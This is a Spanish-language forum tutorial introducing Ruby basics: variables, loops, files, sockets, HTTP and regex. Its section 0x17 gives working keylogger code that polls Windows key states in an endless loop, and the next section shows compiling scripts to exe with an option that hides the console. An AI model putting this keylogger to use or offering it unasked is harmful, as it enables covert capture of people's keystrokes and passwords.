[Guia] : Iniciando en Ruby
[Autor] : Doddy Hackman


-- == Indice == --

0x00 : Presentacion
0x01 : Que es Ruby
0x02 : Como cargar un script
0x03 : Tipos de Variables
0x04 : El poder de print
0x05 : Variables argumentales
0x06 : Manejo de array
0x07 : Concatenacion
0x08 : Comentarios
0x09 : Entradas de teclado
0x10 : Tipos de condiciones y rescates de codigo
0x11 : Uso de split
0x12 : Uso de funciones
0x13 : Listar directorios y manejo de archivos
0x14 : Uso de sockets
0x15 : Interactuar con la web y expresiones regulares
0x16 : Descarga de archivos
0x17 : Creando un keylogger
0x18 : Compilar un script a exe
0x19 : Bibliografia


-- == Fin de Indice == --


0x00 : Presentacion

Hola , acabo de hacer un manual corto para ruby , puede que este un poco imcompleto pero solo
puede explicar lo que conozco a nivel basico , espero que le sirve alguien

Cualquier error o sugerencia sobre el manual pueden decirmelo para mejorar


0x01 : Que es Ruby


Segun wiki

Ruby es un lenguaje de programación interpretado, reflexivo y orientado a objetos, creado por el programador japonés Yukihiro "Matz" Matsumoto, quien comenzó a trabajar en Ruby en 1993, y lo presentó públicamente en 1995.
Combina una sintaxis inspirada en Python y Perl con características de programación orientada a objetos similares a Smalltalk.
Comparte también funcionalidad con otros lenguajes de programación como Lisp, Lua, Dylan y CLU. Ruby es un lenguaje de programación interpretado en una sola pasada y su implementación oficial es distribuida bajo una licencia de software libre.
En mi opinion personal ruby es un lenguaje de programacion que tiene tanto poder como perl o python.

En la siguiente url tenemos el link para descargar ruby para windows
http://ruby-186-25.software.informer.com/

0x02 : Como cargar un script

Si tenemos un script en ruby que hemos encontrado o algo asi , para ejecutarlo tenes que abrir nuestra
consola ms dos ir al directorio donde se encuentra dicho script con el comando cd y cargar con el codigo con el comando
ruby , el cual solo estara disponible si tenemos instalado ruby

Un ejemplo seria algo asi
cd c:/ruby
ruby test.rb

0x03 : Tipos de variables


En ruby tenemos variables de tipo


== Locales ==

Son las variables normales se definen de la siguiente forma
variable = "valor"
Entre comillas dobles se ponen el valor de la variable local , el nombre de la variable siempre
debe empezar en minusculas


== Globales ==

Son las variables que se pueden usar en cualquier parte del codigo un ejemplo de como declararlas
seria esta
$variable = "valor"

== De instancia ==

Son las variables que solo se pueden acceder desde la misma clase , un ejemplo de como declararla
seria esta
@variable = "valor"
== Contantes ==

Estas variables no pueden variar sus valores , el nombre de la variable deben empezar con una letra
mayuscula , un ejemplo de como usarlas seria este
Variable = "valor"

0x04 : El poder de print


Para mostrar texto en pantalla tenemos que usar print , un ejemplo seria asi
print "hola mundo"
Tambien lo podemos hacer con comillas simples
print 'hola mundo'
Si queremos mostrar una variable con el texto seria asi
valor = "mundo"
print "hola #{valor}"
Como ven usamos #{} para mostrar la variable , si no queremos mostrar esta variable de esa forma
podemos usar una coma de la siguiente forma
valor = "mundo"
print "hola ",valor,"\n"
Aclaracion : \n representa una salto de linea para que el texto no se muestre pegado

0x05 : Variables argumentales

Bien , ahora vamos a mi tema favorito , las variables argumentales.
Poniendo un ejemplo seria algo asi
print ARGV[0]
Si cargamos el codigo de la siguiente forma
ruby codigo.rb hola
Nos devolveria en pantalla hola como ven ese es solo primer argumento porque si queremos usar dos
seria sumandole un uno al cero de la siguiente forma
print ARGV[0]
print ARGV[1]
Si cargamos esto
ruby codigo.rb hola hola
Nos devolveria dos hola , si queremos aumentar los argumentos solo tenemos que seguir el numero sucesivo del anterior (0,1,2,3) .....

0x06 : Manejo de array

Ok , llego la hora de hablar de los array , una forma de usar array seria asi
hilos = ["hola","chau"]
Como vimos en el ejemplo anterior podemos seguir sumandoles valores con solo poner entre comillas los valores

Para poder leer un array seria asi
hilos = ["hola","chau"]

hilos.each do |test|
print test
end
Como ven abrimos el array y lo vamos mostrando con print mediante la variable test , despues de ese usamos
end para finalizar la funcion que hicimos para mostrar el array completo.

0x07 : Concatenacion

La concatenacion es util cuando queremos unir variables entre ellas un ejemplo de como hacerlo
seria asi
parteuno = "hola "
partedos = "mundo "

sumar = "muestro "+parteuno+partedos
print sumar
Como ven usamos + para poder unir variables o agregar texto a una variable


0x08 : Comentarios


Bien , hora de hablar de los comentarios , entonces si queremos dejar notas en el codigo , tanto
sea como dejar cosas innecesarias o explicacion de una linea de codigo.

Un ejemplo seria asi
#hola
Como ven cuando pongamos # todo lo que este adelante de ese linea sera ignorado por el codigo
Si comentemos el error de poder en medio del codigo puede surgir un error inperdonable.

0x09 : Entradas de teclado

Ok , las entradas de teclado son muy necesarias cuando queremos hacer formularios o menus , un ejemplo de como realizar
una entrada de teclado seria haciendo el tipico formulario que te consulta el nombre y la edad.
Un ejemplo seria

print "tu nombre : "
nombre = gets.chomp
print "tu edad : "
edad = gets.chomp
print nombre+"\n"
print edad+"\n"
Como ven con get.chomp capturamos la entrada del teclado y guardamos su contenido en la varibles indicadas
Despues mostramos el resultado por pantalla.


0x10 : Tipos de condiciones y rescates de codigo


Bien ahora llego la hora de hablar de las condiciones , las condiciones mas usadas o las unicas
que recuerdo con las siguientes


-- == if-else == --

El tipico if-else , sirve para verificar que si es una cosa es tal cual , si no es asi se ejecuta else.
Un ejemplo seria asi.
if "tengo"=="tengo"
print "si"
else
print "no"
end

Como ven si la condicion es verdadera se muestra en pantalla si de lo contrario no
Finalmente se pone end para finalizar la funcion.

Aclaracion : al final de cada funcion siempre debemos poner end de lo contrario habra un error
Aclaracion : == Sirve para verificar que una cosa sea exactamente igual que la otra

-- == while == --

El tipico while , este se encarga de verificar que mientras algo sea tal cual la funcion siempre se ejecutara hasta que la
condicion sea falsa , un ejemplo seria asi
while("tengo"=="tengo")
print "hola"
end
Entonces si ejecutamos este codigo la funcion nunca terminara porque la condicion siempre sera verdadera

-- == for == --

Bien , ahora llegamos a for , entonces for nos sirve para cuando queremos listar varios numeros , tambien tiene
otra funciones , pero esta es la que mejor puedo explicar.
Un ejemplo de la confusa idea que estoy tirando seria asi
for num in (1..10)
print num
end
Bueno analizando el codigo podria decir que declaramos num para que podamos ir mostrando el rango 1..10 (pueden cambiarlo por los numeros que les
sean necesarios ) mediante print
Finalmente cerramos el bucle con end.

Cuando tengamos error en el codigo en alguna funcion tenemos que rescatar el codigo de la siguiente manera
begin
asdsdasd
rescue 
print "mal"
end
Como ven despues del begin escribi cualquier cosa , claramente el codigo dara error , entonces con
rescue rescatamos el codigo y mostramos mal , como siempre cerramos begin con end

0x11 : Uso de split

Bien ahora llegamos a la conocida funcion split , esta funcion nos puede ayudar a seperar cosas en una variable por ejemplo si tenemos un texto como este
valor = "hola estoy bien"
Si queremos cortar los valores "estoy bien" para que quede solo hola podemos hacer asi
valor = "hola estoy bien"
print valor.split("estoy bien")


Si ejecutamos el codigo veremos que logramos hacer lo que queriamos.

0x12 : Uso de funciones

El uso de funciones nos sirve cuando muchas cosas repetidas y queremos reducir un poco el codigo
Un ejemplo seria una funcion que muestre en pantalla lo que nosotros le pidamos.

Para declarar una funcion seria usar def de la siguiente manera
def nuevafuncion
end
Como siempre eh dicho usamos end para finalizar cualquier funcion

Entonces si queremos invocar dicha funcion seria asi
def nuevafuncion
end

nuevafuncion()
Como ven antes de llamar a una funcion creada por nosotros dicha funcion debio ser declarada antes de la
llamada porque sino habra un error

Entonces para poder varios valores a la funcion para que muestra dicho resultado seria asi
def nuevafuncion(a,b,c)
print a
print b
print c
end

nuevafuncion("uno","dos","tres")
Como ven en nuevafuncion() mandamos tres argumentos cada uno separado por como y entre comillas dobles
En la funcion creada le agregamos tres valores a,b,c que sirve para cuando la funcion sea invocada
esta automaticamente reconozca los tres argumentos y los muestre por pantalla con el valores asignados
en la nuevafuncion()

0x13 : Listar directorios y manejo de archivos

Bien , ahora hemos llegado al manejo de archivos y directorios

Para empezar si queremos listar un directorio para enumerar sus archivos con un array podemos
hacer de la siguiente forma
files = Dir.new("c:/xampp").entries
files.each do |file|
print file
end
Como ven podemos cambiar el directorio "xampp" por cualquier otro , despues vemos como
enumeramos los archivos encontrados mediante la variable file
Como siempre cerramos la funcion con end.

Con eso , ya esta , si lo queremos es abrir un archivo , leerlo y mostrarlo por pantalla
seria algo asi
archivo = File.open("var.txt")
lineas = archivo.readlines
lineas.each do |line|
print line
end
Como ven abrimos el archivo var.txt con la variable retornada por la buena ejecucion del archiv podemos
leer el archivo con readlines despues abrimos el array retornado y las mostramos con la variable line
Como siempre cerramos la funcion usada con end

0x14 : Uso de sockets

BIen ahora llegamos a la parte interesante , para poder usar sockets primero deberemos importar el modulo
sockets de la siguiente manera
require "socket"
Entonces para conectarons a un servidor al puerto 80 podemos hacer asi
sock = TCPSocket.new("localhost",80)
Como ven primero ponemos el host y despues el puerto a entrar
Si todo salio bien no deberia aparecer ningun error

Entonces como estamos en host con http podemos mandar un simple get como para saludarlo de
la siguiente manera
require "socket"
socket = TCPSocket.new("localhost",80)
socket.print "GET / HTTP/1.1\r\n"
re = socket.recvfrom(500)	
print re
Bien como vemos enviamos una peticion GET con la funcion print del objeto creado con socket , despues
capturamos en la variable re todo la informacion enviada como respuesta por parte del servidor , para
finalmente mostrar la variable re por pantalla

0x15 : Interactuar con la web y expresiones regulares

Bien , ahora llegamos a la parte interesante de ruby ,el manejo de paginas webs.

Entonces empezamos por una simple pagina con el metodo GET

Para poder cargarla tendriamos que invocar al modulo
require "net/http"
Entonces para cargar la pagina y guardar el resultado en una variable seria asi
code  = Net::HTTP.get_response(URI.parse("http://localhost/sql.php")).body
print code
Como ven capturamos la respuesta , el problema que tiene ruby es que tenemos que parsear la pagina por
eso uso parse con la web que queremos cargar.

Si lo que queremos es cargar una pagina con metodo POST lo que tenemos que hacer es esto
code = Net::HTTP.post_form(URI.parse("http://127.0.0.1/post.php"),{"te"=>"probando","ok1"=>"ok"}).body
print code
Como ven primero ponemos la pagina y despues el contenido del formulario encerrado entre los {}

Ahora que pasa si queremos sacar cierta porcion del texto de la variable code , no nos queda
otra que usar expresiones regulares

Imaginemos que en la variable code tenemos el siguiente texto
hola mi pass es 123 chau
Y lo queremos sacar es solo "132"

Para poder sacar solo esa porcion de texto lo que tenemos que hacer es lo siguiente
code = "hola mi pass es 123 chau"
if code=~/hola mi pass es (.*) chau/
passw = $1
print passw
end
Entonces , con (.*) podemos sacar lo que sea que halla justo donde le indicamos , como vemos
con $1 capturo lo que hay en el (.*) si algunas vez nos chocamos con el caso de que hay dos , para recoger
los resultados seria asi $1,$2 y asi sucesivamente con todos los (.*) que tengamos.
En este caso solo hay uno entonces tenemos el resultado en $1
Despues declaramos la variable local passw con el valor de $1 y la mostramos
Para finalizar la funcion solo tenemos que poner un end.

0x16 : Descarga de archivos

Bien , que paso si queremos descargar archivos , lo que tendriamos que hacer seria esto
require "open-uri"

file = "test.txt"
url  = "http://localhost/test.txt"

file = open(file,"wb")
file.write(open(url).read)
file.close
Como podemos ver , el modulo encargado de la descarga es open-uri
Tambien en la variable file ponemos el nombre que tendra el archivo que descargamos y en
url ponemos el link del archivo a descargar.
Despues de uso creamos el archivo con el nombre indicado con el modo "wb" , despues escribimos en el ,
el contenido del archivo descargado , despues de que se descargo el archivo , se cierro el archivo creado

0x17 : Creando un keylogger

Para poder crear un keylogger en ruby es necesario invocar el modulo Win32API , un ejemplo de un keylogger hecho seria este
require "Win32API"

nave = Win32API.new("user32","GetAsyncKeyState",["i"],"i")

while 1

for num1 in (0x30..0x39) #numbers
if nave.call(num1) & 0x01 == 1 
print num1.chr()
end
end

for num2 in (0x41..0x5A) #letters
if nave.call(num2) & 0x01 == 1 
print num2.chr()
end
end
end
Como podemos ver usamos el modulo win32api para poder capturar todas las teclas despues creamos
un while eterno para poder capturar todo el tiempo lo que esta pasando , despues vemos que
si lo que nave (variable para conectarnos con la api llamada) reconoce que los rangos (0x30..0x39) o (0x41..0x5A) son identicos
a lo que nave esta capturando con la funcion call() para poder mostrar la tecla capturada , eso si usamos chr() para decodificar la tecla obtenida

0x18 : Compilar un script a exe


Para compilar un script en ruby a exe tenemos que descargar el siguiente archivo
http://files.rubyforge.vm.bytemark.co.uk/rubyscript2exe/rubyscript2exe-0.5.3.rb
Una vez instalado , cargamos la consola ms dos , entramos al directorio donde se descargo dicho
archivo con cd , despues de eso hacemos lo siguiente para mostrar la ayuda del script descargado
ruby rubyscript2exe-0.5.3.rb
Y nos devuelve
C:\Documents and Settings\Administrador\Escritorio\Leviatan\Hacking\Warfactory I
II\manuales>ruby rubyscript2exe-0.5.3.rb

        Usage: ruby rubyscript2exe.rb application.rb[w] [parameters]
               or
               ruby rubyscript2exe.rb application[/] [parameters]

        Where parameter is on of the following:

         --rubyscript2exe-rubyw     Avoid the popping up of a DOS box. (It's
                                    annoying in the test period... No puts and
                                    p anymore... Only use it for distributing
                                    your application. See Logging.)
         --rubyscript2exe-ruby      Force the popping up of a DOS box (default).

         --rubyscript2exe-nostrip   Avoid stripping. The binaries (ruby and
                                    *.so) on Linux and Darwin are stripped by
                                    default to reduce the size of the resulting
                                    executable.
         --rubyscript2exe-strace    Start the embedded application with strace
                                    (Linux only, for debugging only).
         --rubyscript2exe-tk        (experimental) Embed not only the Ruby
                                    bindings for TK, but TK itself as well.
         --rubyscript2exe-verbose   Verbose mode.
         --rubyscript2exe-quiet     Quiet mode.

        On Linux and Darwin, there's no difference between ruby and rubyw.

        For more information, see
        http://www.erikveen.dds.nl/rubyscript2exe/index.html .
Si el script queremos compilar esta en el mismo directorio podemos compilarlo de la siguiente
forma
C:\Documents and Settings\Administrador\Escritorio\Leviatan\Hacking\Warfactory I
II\manuales>rubyscript2exe-0.5.3.rb pro.rb
Tracing pro ...
holaGathering files...
Copying files...
Creating pro.exe ...
Como ven problema resuelto xDD


0x19 : Bibliografia


Manuales de protos (mod de code-makers)


-- == The End == --
Responder

Volver a “Manuales”